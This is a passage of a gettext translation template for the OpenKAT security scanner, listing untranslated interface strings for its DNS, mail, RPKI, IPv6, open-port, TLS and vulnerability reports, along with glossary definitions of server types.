\"Monthly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Yearly\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"day\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"week\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"month\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"year\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Never\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"On\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"After\"\nmsgstr \"\"\n\n#: reports/forms.py\nmsgid \"Report name format\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/multi_organization_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Appendix\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Currently filtered on\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Selected Report Types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Selected report types\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Report type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Service Versions and Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Service, version and health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/footer.html\n#: rocky/templates/health.html\nmsgid \"Service\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/templates/summary/service_health.html rocky/templates/health.html\nmsgid \"Version\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/footer.html rocky/views/health.py\nmsgid \"Health\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: rocky/templates/health.html\nmsgid \"Healthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Unhealthy\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used Config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Used config objects\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Primary Key\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Bit ID\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"Config\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/appendix.html\nmsgid \"No config objects found.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/templates/partials/generate_report_sidemenu.html\n#: reports/templates/partials/report_sidemenu.html\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"Asset overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/asset_overview.html\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"\"\n\"An overview of the manually released scanned assets. Assets in <strong>bold</\"\n\"strong> are taken as a starting point, assets that are not in bold were \"\n\"found by OpenKAT itself.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"Overview of the basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"\"\n\"This table provides an overview of the basic security status of the known \"\n\"assets. Basic security in order. In principle, all values in this table \"\n\"should be checked off.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"System specific checks\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"IPv6\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"\"\n\"IPv6 includes improvements in security features compared to IPv4. While IPv4 \"\n\"can implement security measures, IPv6 was designed with security in mind, \"\n\"and its adoption can contribute to a more secure internet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"In total \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" out of \"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \" systems have an IPv6 connection.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/ipv6.html\nmsgid \"Overview of IP version compliance\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"\"\n\"See an overview of open ports found over all systems and the services these \"\n\"systems provide.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Overview of detected open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/report_types/open_ports_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Open ports\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"Occurrences (IP addresses)\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\n#: reports/templates/summary/service_health.html\nmsgid \"Services\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/open_ports.html\nmsgid \"No open ports found.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"Overview of recommendations\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/recommendations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrence\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.html\nmsgid \"No findings have been identified yet.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/report.py\nmsgid \"Multi Organization Report\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Best scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/summary.html\nmsgid \"Worst scoring security check\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"\"\n\"Vulnerabilities found are grouped per system. Here, we only consider CVE \"\n\"vulnerabilities.\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"Vulnerabilities grouped per system\"\nmsgstr \"\"\n\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"total\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"\"\n\"The Name Server Report provides an overview of the compliance checks that \"\n\"were performed against the identified Domain Name Servers (DNS). The \"\n\"compliance checks verify the presence and validity of DNSSEC and whether no \"\n\"unnecessary ports were identified to be open. The table below gives an \"\n\"overview of the available checks including whether the system passed the \"\n\"performed checks. The risk level and reasoning as to why an issue was \"\n\"identified are shown too. The risk level may be different for your specific \"\n\"environment.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Name server compliance\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"DNSSEC Present\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"name servers compliant\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"Valid DNSSEC\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"No unnecessary ports open\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.html\nmsgid \"No nameservers have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report\"\nmsgstr \"\"\n\n#: reports/report_types/name_server_report/report.py\nmsgid \"Name Server Report checks name servers on basic security standards.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"\"\n\"The Open Ports Report provides an overview of the open ports identified on a \"\n\"system. The ports that are marked as <b>bold</b> were identified by direct \"\n\"scans performed by OpenKAT (such as nmap). Ports that are not marked in bold \"\n\"were identified through external services and/or scans (such as Shodan). \"\n\"Scans with the same hostnames, ports and IPs are merged.\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Overview of open ports found for the scanned assets\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"IP address\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Hostnames\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.html\nmsgid \"Direct scan\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Open Ports Report\"\nmsgstr \"\"\n\n#: reports/report_types/open_ports_report/report.py\nmsgid \"Find open ports of IP addresses\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"This section contains basic security information about Resource Public Key \"\n\"Infrastructure (RPKI). If your web server employs RPKI for its IP addresses \"\n\"and associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"\"\n\"The RPKI Report shows if an RPKI route announcement was available for the \"\n\"system and if this announcement is not expired.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI compliance\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI Available\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI valid\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record is not valid.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\nmsgid \"RPKI record does not exist.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"No IPs have been found on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"RPKI Report\"\nmsgstr \"\"\n\n#: reports/report_types/rpki_report/report.py\nmsgid \"\"\n\"Shows whether the IP is covered by a valid RPKI ROA. For a hostname it shows \"\n\"the IP addresses and whether they are covered by a valid RPKI ROA.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"\"\n\"The Safe Connections report provides an overview of the performed checks \"\n\"with regard to encrypted communication channels such as HTTPS. The table \"\n\"below gives an overview of the available checks including whether the system \"\n\"passed the performed checks. The risk level and reasoning as to why an issue \"\n\"was identified are shown too. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Safe connections compliance\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Safe Connections Report\"\nmsgstr \"\"\n\n#: reports/report_types/safe_connections_report/report.py\nmsgid \"Shows whether the IPService contains safe ciphers.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"\"\n\"The System Report provides an overview of the system types (types of similar \"\n\"services) that were identified for each system. The following system types \"\n\"can be identified: DNS servers, Web servers, Mail servers and those \"\n\"classified as 'Other' servers. Each hostname and/or IP address is given one \"\n\"or more system types depending on the identified ports and services. The \"\n\"table below gives an overview of these results.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"Selected assets\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.html\nmsgid \"No system types have been identified on this system.\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"System Report\"\nmsgstr \"\"\n\n#: reports/report_types/systems_report/report.py\nmsgid \"Combine IP addresses, hostnames and services into systems.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The TLS Report shows which TLS protocols and ciphers were identified on the \"\n\"host for the provided port.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"\"\n\"The table below provides an overview of the identified TLS protocols and \"\n\"ciphers, including a status suggestion.\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Ciphers\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Protocol\"\nmsgstr \"\"\n\n#: reports/report_types/tls_report/report.html\nmsgid \"Encryption Algorithm\"\nmsgstr \"\"\n\n#: 